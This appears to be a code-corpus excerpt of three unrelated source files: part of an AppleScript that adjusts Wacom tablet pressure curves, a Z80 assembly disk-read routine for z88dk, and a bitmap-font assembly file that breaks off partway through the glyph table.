pushDefaultButton_(sender) -- NSButton if hardness < 1 then set minPress to 4.9 * (1 - hardness) + 5.88 * (hardness - 0) else if hardness < 2 then set minPress to 5.88 * (2 - hardness) + 6.86 * (hardness - 1) else if hardness < 3 then set minPress to 6.86 * (3 - hardness) + 7.84 * (hardness - 2) else if hardness < 4 then set minPress to 7.84 * (4 - hardness) + 10 * (hardness - 3) else if hardness < 5 then set minPress to 10 * (5 - hardness) + 14.9 * (hardness - 4) else set minPress to 14.9 * (6 - hardness) + 20 * (hardness - 5) end if minPressSlider's setDoubleValue_(minPress) my setNeedsDisplay_(true) -- refresh display end pushDefaultButton_ -- Convert hardness into a control point -- using Wacom's preset control points for hardnesses 0 - 6, -- linearly connected to create a continuous range. on hardnessToControlPt(hardIndex) if hardIndex < 1 then set controlPtX to 0 * (1 - hardIndex) + 11.67 * (hardIndex - 0) set controlPtY to 100 * (1 - hardIndex) + 83.14 * (hardIndex - 0) else if hardIndex < 2 then set controlPtX to 11.67 * (2 - hardIndex) + 28 * (hardIndex - 1) set controlPtY to 83.14 * (2 - hardIndex) + 66.08 * (hardIndex - 1) else if hardIndex < 3 then set controlPtX to 28 * (3 - hardIndex) + 45.74 * (hardIndex - 2) set controlPtY to 66.08 * (3 - hardIndex) + 50 * (hardIndex - 2) else if hardIndex < 4 then set controlPtX to 45.74 * (4 - hardIndex) + 62.86 * (hardIndex - 3) set controlPtY to 50 * (4 - hardIndex) + 32.94 * (hardIndex - 3) else if hardIndex < 5 then set controlPtX to 62.86 * (5 - hardIndex) + 80.18 * (hardIndex - 4) set controlPtY to 32.94 * (5 - hardIndex) + 16.86 * (hardIndex - 4) else set controlPtX to 80.18 * (6 - hardIndex) + 81.14 * (hardIndex - 5) set controlPtY to 16.86 * (6 - hardIndex) + 12.94 * (hardIndex - 5) end if set controlPt to {x:controlPtX, y:controlPtY} end hardnessToControlPt -- Convert a control point into a hardness -- using Wacom's preset control points for hardnesses 0 - 6, -- linearly connected to create a continuous range. on controlPtToHardness(pt) set dist to ((pt's x) - (pt's y)) * (2 ^ (-0.5)) if dist < -50.54 then set hardness to 1 * (dist - -70.72) / (70.72 - 50.54) else if dist < -26.93 then set hardness to 1 * (-26.93 - dist) / (50.54 - 26.93) + 2 * (dist - -50.54) / (50.54 - 26.93) else if dist < -3.01 then set hardness to 2 * (-3.01 - dist) / (26.93 - 3.01) + 3 * (dist - -26.93) / (26.93 - 3.01) else if dist < 21.16 then set hardness to 3 * (21.16 - dist) / (21.16 + 3.01) + 4 * (dist - -3.01) / (21.16 + 3.01) else if dist < 44.77 then set hardness to 4 * (44.77 - dist) / (44.77 - 21.16) + 5 * (dist - 21.16) / (44.77 - 21.16) else set hardness to 5 * (48.22 - dist) / (48.22 - 44.77) + 6 * (dist - 44.77) / (48.22 - 44.77) end if if hardness > 7 then set hardness to 7 if hardness < 0 then set hardness to 0 end controlPtToHardness -- ReDraw Bézier view on drawRect_(dirtyRect) set |bounds| to my |bounds|() --set |bounds| to dirtyRect set emptySpace to 10 --set currentContext to NSGraphicsContext's currentContext --Make translation a NSAffineTransform type object set translation to NSAffineTransform's transform -- rControlPt: ControlPt adjusted for range between minPress and maxPress set theRange to (maxPress - minPress) / 100 set rControlPt to ¬ {x:(controlPt's x) * theRange + minPress, y:(controlPt's y)} -- vControlPt: effective on screen ControlPt — view 200 px (+) wide set vControlPt to {x:(rControlPt's x) * 2, y:(rControlPt's y) * 2} -- Draw background set thePath to NSBezierPath's bezierPathWithRect_(|bounds|) thePath's setLineWidth_(0.5) thePath's stroke() backgroundColor's |set|() thePath's fill() thePath's release() -- Draw x(Pen Pressure) and y(Tablet Response) axes gridColor's |set|() thePath's setLineWidth_(0.75) thePath's moveToPoint_({x:2, y:0}) thePath's lineToPoint_({x:2, y:220}) thePath's moveToPoint_({x:0, y:2}) thePath's lineToPoint_({x:250, y:2}) thePath's stroke() thePath's release() -- Draw Max pressure and Max response grid lines thePath's setLineWidth_(0.5) thePath's moveToPoint_({x:202, y:0}) thePath's lineToPoint_({x:202, y:220}) thePath's moveToPoint_({x:0, y:202}) thePath's lineToPoint_({x:250, y:202}) thePath's stroke() thePath's release() -- Draw Pressure-Response curve linesColor's |set|() set thePath to NSBezierPath's bezierPath thePath's moveToPoint_({x:0, y:0}) thePath's lineToPoint_({x:(minPress * 2) as integer, y:0}) -- to minpress flat thePath's ¬ curveToPoint_controlPoint1_controlPoint2_({x:(maxPress * 2) as integer, y:200}, vControlPt, vControlPt) -- curve from minpress to maxpress thePath's lineToPoint_({x:250, y:200}) -- from maxpress flat thePath's setLineCapStyle_(1) -- I'm puzzled by the effect of changing this thePath's setLineWidth_(3) -- True origin for pressure curve is (2, 2) — see axes above translation's translateXBy_yBy_(2, 2) translation's concat() thePath's stroke() thePath's release() -- pControlPt: effective pref file ControlPt -- adjusted for actual tablet pressure sensitivity (pressLevels) set pControlPt to ¬ {x:((rControlPt's x) / 100 * pressLevels) as integer, y:((rControlPt's y) / 100 * pressLevels) as integer} -- pMinPress, pMinPress: effective pref file values -- adjusted for actual tablet pressure sensitivity (pressLevels) set pMinPress to (minPress / 100 * pressLevels) as integer set pMaxPress to (maxPress / 100 * pressLevels) as integer -- Adjust PressureCurveControlPoint, LowerPressureThreshold and -- UpperPressureThreshold in pen preferences file based on new values of -- pMinPress, pMaxPress, pControlPt setcontrolPtInPrefFile(pMinPress, pMaxPress, pControlPt) end drawRect_ -- Find Wacom preferences file. If not found, return "not found" -- otherwise return path to file. on getprefFilePath(fileName) set pLocal to path to preferences from local domain set pUser to path to preferences from user domain set pUserX to POSIX path of pUser set pLocalX to POSIX path of pLocal tell application "Finder" if exists file fileName in folder pUser then set pFilePath to pUserX & fileName else if exists file fileName in folder pLocal then set pFilePath to pLocalX & fileName else set pFilePath to "not found" end if end tell return pFilePath end getprefFilePath -- Create new temp file of pen preferences file ("new2") -- with line endings translated from Mac to Unix -- Part of prep for speeding up sed on preparePenPrefFile() set tempFile to (POSIX path of (path to temporary items)) & "new2" do shell script ¬ "/bin/cat " & quoted form of prefFilePath & " | /usr/bin/tr \"\\r\" \"\\n\" >" & tempFile end preparePenPrefFile -- Use sed on "new2" temp file to find controlPtData and pressLevelData -- for chosen stylus button (tip or eraser) -- Then use sed to put markers in new temp file ("new3") -- where data needs to be placed. This file has Mac line endings -- and is used with sed to quickly insert new data into pen pref file. on getControlPtFromPenPref(buttonName) set tempFile to (POSIX path of (path to temporary items)) & "new2" set tempFile1 to (POSIX path of (path to temporary items)) & "new3" -- Find in file 1st "PressureCurveControlPoint" after button name -- and extract controlPtData set controlPtData to do shell script ¬ "/usr/bin/sed -n '/ButtonName " & buttonName & "/,/PressureCurveControlPoint/ s_\\(PressureCurveControlPoint [0-9][0-9]* [0-9][0-9]* [0-9][0-9]* [0-9][0-9]* [0-9][0-9]* [0-9][0-9]*\\)_\\1_p' " & tempFile -- Find in file 1st "PressureResolution" after button name -- and extract pressLevelData set pressLevelData to do shell script ¬ "/usr/bin/sed -n '/ButtonName " & buttonName & "/,/PressureResolution/ s_\\(PressureResolution [0-9][0-9]*\\)_\\1_p' " & tempFile -- Calculate variables with data -- mostly 0 - 100 normalization based on pressLevels set pressLevels to (word 2 of pressLevelData) as integer set minPress to ((word 2 of controlPtData) as integer) / pressLevels * 100 set maxPress to ((word 6 of controlPtData) as integer) / pressLevels * 100 set theRange to (maxPress - minPress) / 100 set controlPtX to ((word 4 of controlPtData) as integer) / pressLevels * 100 set controlPtY to ((word 5 of controlPtData) as integer) / pressLevels * 100 set controlPt to {x:(controlPtX - minPress) / theRange, y:controlPtY} -- Insert markers in new Mac line ending file ("new3") -- where sed will insert data for changed pref file. -- Three sed substitutions. do shell script ¬ "/usr/bin/sed -e '/ButtonName " & buttonName & "/,/PressureCurveControlPoint/ s_\\(PressureCurveControlPoint\\) [0-9][0-9]* [0-9][0-9]* [0-9][0-9]* [0-9][0-9]* [0-9][0-9]* [0-9][0-9]*_\\1 --controlPt goes here--_' -e '/ButtonName " & buttonName & "/,/UpperPressureThreshold/ s_\\(UpperPressureThreshold\\) [0-9][0-9]*_\\1 --minPressHi goes here--_' -e '/ButtonName " & buttonName & "/,/LowerPressureThreshold/ s_\\(LowerPressureThreshold\\) [0-9][0-9]*_\\1 --minPressLo goes here--_' " & tempFile & " | /usr/bin/tr \"\\n\" \"\\r\" > " & tempFile1 end getControlPtFromPenPref -- Adjust PressureCurveControlPoint, LowerPressureThreshold and -- UpperPressureThreshold in pen preferences file based on new values of -- pMinPress, pMaxPress, pControlPt on setcontrolPtInPrefFile(pMinPress, pMaxPress, pControlPt) set tempFile1 to (POSIX path of (path to temporary items)) & "new3" set tempFile2 to prefFilePath ---- Convert variable values to strings -- set sPressLevels to pressLevels as string if pMinPress ≤ 3 then set pMinPress to 4 -- minimum value set sMinPress to pMinPress as string -- keep LowerPressureThreshold & UpperPressureThreshold three apart set sMinPressHi to (pMinPress + 1) as string set sMinPressLo to (pMinPress - 2) as string set sMaxPress to pMaxPress as string set sPtX to pControlPt's x as string set sPtY to pControlPt's y as string -- Insert data at marker locations in Mac line ending file ("new3") -- and result is streamed into Wacom pen preferences file. -- Three sed substitutions. do shell script ¬ "/usr/bin/sed -e 's_--controlPt goes here--_" & sMinPress & " 0 " & sPtX & " " & sPtY & " " & sMaxPress & " " & sPressLevels & "_' -e 's_--minPressHi goes here--_" & sMinPressHi & "_' -e 's_--minPressLo goes here--_" & sMinPressLo & "_' " & tempFile1 & " > " & tempFile2 resetTabletDriver() -- force tablet driver to use new preferences data end setcontrolPtInPrefFile -- This handler is a fairly unsophisticated approach to getting the driver to -- recognize settings changes, but it's the best I've got so far. -- When "Button Feel" (hardness) slider, is re-adjusted repeatedly -- and in quick sucession, the driver can freeze or behave oddly. -- Force quitting the driver or hitting the Modbook reset button fixes this. on resetTabletDriver() try do shell script "killall " & quoted form of PenTabletDriverName on error try do shell script "killall -9 " & quoted form of PenTabletDriverName end try end try delay 0.2 tell application PenTabletDriverName to launch end resetTabletDriver end script
libsrc/fcntl/nc100/read.asm
meesokim/z88dk
0
162335
<filename>libsrc/fcntl/nc100/read.asm<gh_stars>0 ; ; read from disk ; PUBLIC read .read pop ix pop de pop hl pop bc push bc push hl push de push ix ld a, b or c call nz, 0xB896 ld h, b ld l, c ret
src/clvsbtus.asm
thecatkitty/raster-fonts
1
160364
; Generated by RasFntCv (build Tue May 1 23:18:59 2018) Codepage: dw 437 Glyph00: ; Null db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph01: ; Start Of Heading db 00000000b db 00111100b db 01000010b db 10100101b db 10000001b db 10100101b db 10011001b db 01000010b db 00111100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph02: ; Start Of Text db 00000000b db 00111100b db 01111110b db 11011011b db 11111111b db 11011011b db 11100111b db 01111110b db 00111100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph03: ; End Of Text db 00000000b db 01101100b db 11111110b db 11111110b db 11111110b db 11111110b db 01111100b db 00111000b db 00010000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph04: ; End Of Transmission db 00000000b db 00010000b db 00111000b db 01111100b db 11111110b db 11111110b db 01111100b db 00111000b db 00010000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph05: ; Enquiry db 00000000b db 00010000b db 00111000b db 00111000b db 01010100b db 11111110b db 11111110b db 01010100b db 00010000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph06: ; Acknowledge db 00000000b db 00010000b db 00111000b db 01111100b db 11111110b db 11111110b db 11111110b db 01111100b db 00010000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph07: ; Bell db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00111000b db 01111100b db 01111100b db 01111100b db 00111000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph08: ; Backspace db 11111111b db 11111111b db 11111111b db 11111111b db 11111111b db 11000111b db 10000011b db 10000011b db 10000011b db 11000111b db 11111111b db 11111111b db 11111111b db 11111111b db 11111111b db 11111111b Glyph09: ; Character Tabulation db 00000000b db 00000000b db 00000000b db 00000000b db 00111000b db 01000100b db 10000010b db 10000010b db 10000010b db 01000100b db 00111000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph0A: ; Line Feed (LF) db 11111111b db 11111111b db 11111111b db 11111111b db 11000111b db 10111011b db 01111101b db 01111101b db 01111101b db 10111011b db 11000111b db 11111111b db 11111111b db 11111111b db 11111111b db 11111111b Glyph0B: ; Line Tabulation db 00000000b db 00001110b db 00000110b db 01111010b db 10001000b db 10001000b db 10001000b db 01110000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph0C: ; Form Feed (FF) db 00000000b db 00000000b db 01110000b db 10001000b db 10001000b db 10001000b db 01110000b db 00100000b db 01110000b db 00100000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph0D: ; Carriage Return (CR) db 00000000b db 00100000b db 00110000b db 00101000b db 00101000b db 00100000b db 00100000b db 00100000b db 11100000b db 11100000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph0E: ; Shift Out db 00000000b db 00111100b db 00100110b db 00100010b db 00100010b db 00100010b db 00100010b db 11100010b db 11101110b db 00001110b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph0F: ; Shift In db 00000000b db 00010000b db 01000100b db 00010000b db 00111000b db 00111000b db 00010000b db 01000100b db 00010000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph10: ; Data Link Escape db 00000000b db 00000000b db 11000000b db 11110000b db 11111100b db 11111100b db 11110000b db 11000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph11: ; Device Control One db 00000000b db 00000000b db 00001100b db 00111100b db 11111100b db 11111100b db 00111100b db 00001100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph12: ; Device Control Two db 00000000b db 00010000b db 00111000b db 01111100b db 00010000b db 00010000b db 01111100b db 00111000b db 00010000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph13: ; Device Control Three db 01000100b db 01000100b db 01000100b db 01000100b db 01000100b db 01000100b db 00000000b db 00000000b db 01000100b db 01000100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph14: ; Device Control Four db 01111110b db 11111010b db 11111010b db 11111010b db 01111010b db 00001010b db 00001010b db 00001010b db 00001010b db 00001010b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph15: ; Negative Acknowledge db 00111100b db 01000000b db 01100000b db 00111000b db 01001100b db 01100100b db 00111000b db 00001100b db 00000100b db 01111000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph16: ; Synchronous Idle db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 11111111b db 11111111b db 11111111b db 00000000b db 00000000b db 00000000b db 00000000b Glyph17: ; End Of Transmission Block db 00000000b db 00010000b db 00111000b db 01111100b db 00010000b db 00010000b db 01111100b db 00111000b db 00010000b db 01111100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph18: ; Cancel db 00000000b db 00010000b db 00111000b db 01111100b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph19: ; End Of Medium db 00000000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 01111100b db 00111000b db 00010000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph1A: ; Substitute db 00000000b db 00000000b db 00001000b db 00001100b db 11111110b db 00001100b db 00001000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph1B: ; Escape db 00000000b db 00000000b db 00100000b db 01100000b db 11111110b db 01100000b db 00100000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph1C: ; Information Separator Four db 00000000b db 00000000b db 00000000b db 10000000b db 10000000b db 11111110b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph1D: ; Information Separator Three db 00000000b db 00000000b db 00101000b db 01101100b db 11111110b db 01101100b db 00101000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph1E: ; Information Separator Two db 00000000b db 00010000b db 00010000b db 00111000b db 00111000b db 01111100b db 01111100b db 11111110b db 11111110b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph1F: ; Information Separator One db 00000000b db 11111110b db 11111110b db 01111100b db 01111100b db 00111000b db 00111000b db 00010000b db 00010000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph20: ; Space db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph21: ; Exclamation Mark db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00000000b db 00010000b db 00010000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph22: ; Quotation Mark db 00101000b db 00101000b db 00101000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph23: ; Number Sign db 00000000b db 00010100b db 00010100b db 01111110b db 00101000b db 00101000b db 11111100b db 01010000b db 01010000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph24: ; Dollar Sign db 00010000b db 00111000b db 01010100b db 01010000b db 00110000b db 00011000b db 00010100b db 01010100b db 00111000b db 00010000b db 00010000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph25: ; Percent Sign db 00000000b db 01100000b db 10010000b db 10010000b db 01100110b db 00111000b db 11001100b db 00010010b db 00010010b db 00001100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph26: ; Ampersand db 00000000b db 00110000b db 01000000b db 01000000b db 00100000b db 00100000b db 01010010b db 10001010b db 01000100b db 00111010b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph27: ; Apostrophe db 00100000b db 00100000b db 00100000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph28: ; Left Parenthesis db 00000100b db 00001000b db 00001000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00001000b db 00001000b db 00000100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph29: ; Right Parenthesis db 01000000b db 00100000b db 00100000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00100000b db 00100000b db 01000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph2A: ; Asterisk db 00010000b db 01010100b db 00111000b db 00111000b db 01010100b db 00010000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph2B: ; Plus Sign db 00000000b db 00000000b db 00010000b db 00010000b db 00010000b db 11111110b db 00010000b db 00010000b db 00010000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph2C: ; Comma db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00010000b db 00010000b db 00100000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph2D: ; Hyphen-Minus db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00111100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph2E: ; Full Stop db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00010000b db 00010000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph2F: ; Solidus db 00000100b db 00000100b db 00001000b db 00001000b db 00010000b db 00010000b db 00010000b db 00100000b db 00100000b db 01000000b db 01000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph30: ; Digit Zero db 00000000b db 00000000b db 00111000b db 01000100b db 01000100b db 01000100b db 01000100b db 01000100b db 01000100b db 00111000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph31: ; Digit One db 00000000b db 00000000b db 01110000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 01111100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph32: ; Digit Two db 00000000b db 00000000b db 00111000b db 01000100b db 00000100b db 00001000b db 00010000b db 00100000b db 01000000b db 01111100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph33: ; Digit Three db 00000000b db 00000000b db 00111000b db 01000100b db 00000100b db 00111000b db 00000100b db 00000100b db 01000100b db 00111000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph34: ; Digit Four db 00000000b db 00000000b db 00001000b db 00011000b db 00101000b db 00101000b db 01001000b db 01111100b db 00001000b db 00001000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph35: ; Digit Five db 00000000b db 00000000b db 01111100b db 01000000b db 01000000b db 01111000b db 00000100b db 00000100b db 01000100b db 00111000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph36: ; Digit Six db 00000000b db 00000000b db 00111000b db 01000100b db 01000000b db 01111000b db 01000100b db 01000100b db 01000100b db 00111000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph37: ; Digit Seven db 00000000b db 00000000b db 01111100b db 00000100b db 00001000b db 00001000b db 00010000b db 00010000b db 00100000b db 00100000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph38: ; Digit Eight db 00000000b db 00000000b db 00111000b db 01000100b db 01000100b db 00111000b db 01000100b db 01000100b db 01000100b db 00111000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph39: ; Digit Nine db 00000000b db 00000000b db 00111000b db 01000100b db 01000100b db 00111100b db 00000100b db 00000100b db 01000100b db 00111000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph3A: ; Colon db 00000000b db 00000000b db 00000000b db 00000000b db 00010000b db 00010000b db 00000000b db 00000000b db 00010000b db 00010000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph3B: ; Semicolon db 00000000b db 00000000b db 00000000b db 00000000b db 00010000b db 00010000b db 00000000b db 00000000b db 00010000b db 00010000b db 00100000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph3C: ; Less-Than Sign db 00000000b db 00000000b db 00000000b db 00000110b db 00011000b db 01100000b db 00011000b db 00000110b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph3D: ; Equals Sign db 00000000b db 00000000b db 00000000b db 00000000b db 01111100b db 00000000b db 01111100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph3E: ; Greater-Than Sign db 00000000b db 00000000b db 00000000b db 11000000b db 00110000b db 00001100b db 00110000b db 11000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph3F: ; Question Mark db 00000000b db 00111000b db 01000100b db 00000100b db 00001000b db 00010000b db 00010000b db 00000000b db 00010000b db 00010000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph40: ; Commercial At db 00000000b db 00000000b db 00011100b db 00100010b db 01000010b db 01001110b db 01010010b db 01010010b db 01001110b db 01000000b db 00100000b db 00011100b db 00000000b db 00000000b db 00000000b db 00000000b Glyph41: ; Latin Capital Letter A db 00000000b db 00000000b db 00010000b db 00101000b db 00101000b db 01000100b db 01000100b db 11111110b db 10000010b db 10000010b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph42: ; Latin Capital Letter B db 00000000b db 00000000b db 01111000b db 01000100b db 01000100b db 01111000b db 01000100b db 01000100b db 01000100b db 01111000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph43: ; Latin Capital Letter C db 00000000b db 00000000b db 00111000b db 01000100b db 10000000b db 10000000b db 10000000b db 10000000b db 01000100b db 00111000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph44: ; Latin Capital Letter D db 00000000b db 00000000b db 11110000b db 10001000b db 10000100b db 10000100b db 10000100b db 10000100b db 10001000b db 11110000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph45: ; Latin Capital Letter E db 00000000b db 00000000b db 01111100b db 01000000b db 01000000b db 01111100b db 01000000b db 01000000b db 01000000b db 01111100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph46: ; Latin Capital Letter F db 00000000b db 00000000b db 01111100b db 01000000b db 01000000b db 01111100b db 01000000b db 01000000b db 01000000b db 01000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph47: ; Latin Capital Letter G db 00000000b db 00000000b db 00111000b db 01000100b db 10000000b db 10001100b db 10000100b db 10000100b db 01000100b db 00111000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph48: ; Latin Capital Letter H db 00000000b db 00000000b db 10000100b db 10000100b db 10000100b db 11111100b db 10000100b db 10000100b db 10000100b db 10000100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph49: ; Latin Capital Letter I db 00000000b db 00000000b db 00111000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00111000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph4A: ; Latin Capital Letter J db 00000000b db 00000000b db 00011100b db 00000100b db 00000100b db 00000100b db 00000100b db 00000100b db 01000100b db 00111000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph4B: ; Latin Capital Letter K db 00000000b db 00000000b db 01000100b db 01001000b db 01010000b db 01100000b db 01010000b db 01001000b db 01000100b db 01000100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph4C: ; Latin Capital Letter L db 00000000b db 00000000b db 01000000b db 01000000b db 01000000b db 01000000b db 01000000b db 01000000b db 01000000b db 01111100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph4D: ; Latin Capital Letter M db 00000000b db 00000000b db 10000010b db 11000110b db 10101010b db 10010010b db 10010010b db 10000010b db 10000010b db 10000010b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph4E: ; Latin Capital Letter N db 00000000b db 00000000b db 01000010b db 01100010b db 01010010b db 01001010b db 01000110b db 01000010b db 01000010b db 01000010b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph4F: ; Latin Capital Letter O db 00000000b db 00000000b db 00111000b db 01000100b db 10000010b db 10000010b db 10000010b db 10000010b db 01000100b db 00111000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph50: ; Latin Capital Letter P db 00000000b db 00000000b db 01111000b db 01000100b db 01000100b db 01111000b db 01000000b db 01000000b db 01000000b db 01000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph51: ; Latin Capital Letter Q db 00000000b db 00000000b db 00111000b db 01000100b db 10000010b db 10000010b db 10000010b db 10001010b db 01000100b db 00111010b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph52: ; Latin Capital Letter R db 00000000b db 00000000b db 01111000b db 01000100b db 01000100b db 01111000b db 01000100b db 01000100b db 01000100b db 01000100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph53: ; Latin Capital Letter S db 00000000b db 00000000b db 00111000b db 01000100b db 01000000b db 00111000b db 00000100b db 00000100b db 01000100b db 00111000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph54: ; Latin Capital Letter T db 00000000b db 00000000b db 01111100b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph55: ; Latin Capital Letter U db 00000000b db 00000000b db 01000100b db 01000100b db 01000100b db 01000100b db 01000100b db 01000100b db 01000100b db 00111000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph56: ; Latin Capital Letter V db 00000000b db 00000000b db 01000100b db 01000100b db 01000100b db 00101000b db 00101000b db 00101000b db 00010000b db 00010000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b Glyph57: ; Latin Capital Letter W db 00000000b db 00000000b db 10000010b db 10000010b db 10000010b db 